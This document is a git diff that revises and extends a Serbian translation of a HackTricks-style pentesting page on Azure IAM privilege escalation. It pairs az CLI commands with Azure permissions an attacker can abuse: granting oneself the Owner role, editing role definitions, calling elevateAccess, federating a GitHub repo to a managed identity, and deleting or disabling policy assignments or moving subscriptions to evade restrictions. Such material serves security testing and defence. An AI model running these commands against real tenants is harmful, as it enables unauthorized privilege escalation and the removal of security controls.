diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 4f6eda98a..011879ad4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -1,4 +1,4 @@ -# Az - Azure IAM Privesc (Authorization) +# Az - Azure IAM Privesc (Autorizacija) {{#include ../../../banners/hacktricks-training.md}} @@ -12,16 +12,16 @@ Za više informacija pogledajte: ### Microsoft.Authorization/roleAssignments/write -Ova dozvola omogućava dodeljivanje uloga principima unutar specifičnog opsega, omogućavajući napadaču da eskalira privilegije dodeljivanjem sebi privilegovanije uloge: +Ovo dopuštenje omogućava dodeljivanje uloga principalima nad određenim opsegom, omogućavajući attacker-u da eskalira privilegije dodeljivanjem sebi privilegovanije uloge: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -Ova dozvola omogućava modifikaciju dozvola koje dodeljuje uloga, omogućavajući napadaču da eskalira privilegije dodeljivanjem više dozvola ulozi koju je dodelio. +Ova dozvola omogućava izmenu dozvola dodeljenih roli, što napadaču omogućava eskalaciju privilegija dodeljivanjem većih ovlašćenja roli koju ima. -Kreirajte datoteku `role.json` sa sledećim **sadržajem**: +Kreirajte fajl `role.json` sa sledećim **sadržajem**: ```json { "roleName": "", @@ -36,16 +36,16 @@ Kreirajte datoteku `role.json` sa sledećim **sadržajem**: "id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", } ``` -Zatim ažurirajte dozvole uloge sa prethodnom definicijom pozivajući: +Zatim ažurirajte dozvole uloge koristeći prethodnu definiciju pozivajući: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -Ova dozvola omogućava podizanje privilegija i dodeljivanje dozvola bilo kojem principalu za Azure resurse. Namenjena je Entra ID Global Administrátorima kako bi mogli da upravljaju dozvolama nad Azure resursima. +Ova dozvola omogućava podizanje privilegija i dodeljivanje ovlašćenja bilo kojem principal-u nad Azure resources. Namenjena je Entra ID Global Administrators tako da oni takođe mogu upravljati permissions nad Azure resources. > [!TIP] -> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi poziv za podizanje privilegija radio. +> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi elevate poziv radio. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +55,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Ova dozvola omogućava dodavanje federisanih kredencijala upravljanim identitetima. Na primer, omogućava pristup Github Actions u repozitorijumu upravljanom identitetu. Zatim, omogućava **pristup bilo kojem korisnički definisanom upravljanom identitetu**. +Ova dozvola omogućava dodavanje Federated credentials na managed identities. Na primer, može se dodeliti pristup Github Actions u repo jednoj managed identity. Zatim, omogućava **pristup bilo kojoj korisnički definisanoj managed identity**. -Primer komande za davanje pristupa repozitorijumu u Github-u upravljanom identitetu: +Primer komande za dodeljivanje pristupa repo-u na Github-u jednoj managed identity: ```bash # Generic example: az rest --method PUT \ @@ -71,4 +71,94 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +Napadač koji poseduje dozvolu `Microsoft.Authorization/policyAssignments/write` ili `Microsoft.Authorization/policyAssignments/delete` nad management group, subscription, ili resource group može **izmeniti ili obrisati Azure policy assignments**, potencijalno **onemogućivši sigurnosna ograničenja** koja blokiraju određene operacije. + +To omogućava pristup resursima ili funkcionalnostima koje su prethodno bile zaštićene politikom. + +**Obriši dodelu politike:** +```bash +az policy assignment delete \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +**Onemogućite dodelu politike:** +```bash +az policy assignment update \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" \ +--enforcement-mode Disabled +``` +**Proverite izmene:** +```bash +# List policy assignments +az policy assignment list \ +--scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +### Microsoft.Authorization/policyDefinitions/write + +Napadač sa dozvolom `Microsoft.Authorization/policyDefinitions/write` može **izmeniti Azure definicije politika**, menjajući pravila koja kontrolišu bezbednosna ograničenja u celom okruženju. + +Na primer, politika koja ograničava dozvoljene regione za kreiranje resursa može biti izmenjena da dozvoli bilo koji region, ili se efekat politike može promeniti tako da postane neefikasan. + +**Izmeniti definiciju politike:** +```bash +az policy definition update \ +--name "" \ +--rules @updated-policy-rules.json +``` +**Proverite promene:** +```bash +az policy definition list --output table + +az policy definition show --name "" +``` +### Microsoft.Management/managementGroups/write + +Napadač koji ima dozvolu `Microsoft.Management/managementGroups/write` može **izmeniti hijerarhijsku strukturu management groups** ili **kreirati nove management groups**, potencijalno zaobilazeći restriktivne politike primenjene na višim nivoima. + +Na primer, napadač može kreirati novu management group bez restriktivnih politika i zatim premestiti subscriptions u nju. + +**Kreirajte novu management group:** +```bash +az account management-group create \ +--name "yourMGname" \ +--display-name "yourMGDisplayName" +``` +**Izmenite hijerarhiju management grupe:** +```bash +az account management-group update \ +--name "" \ +--parent "/providers/Microsoft.Management/managementGroups/" +``` +**Proverite izmene:** +```bash +az account management-group list --output table + +az account management-group show \ +--name "" \ +--expand +``` +### Microsoft.Management/managementGroups/subscriptions/write + +Napadač sa dozvolom `Microsoft.Management/managementGroups/subscriptions/write` može **premestiti pretplate između management groups**, potencijalno **izbeći restriktivne politike** premestivši pretplatu u grupu sa manje restriktivnim ili bez politika. + +**Premestite pretplatu u drugu management group:** +```bash +az account management-group subscription add \ +--name "" \ +--subscription "" +``` +**Proverite promene:** +```bash +az account management-group subscription show \ +--name "" \ +--subscription "" +``` {{#include ../../../banners/hacktricks-training.md}}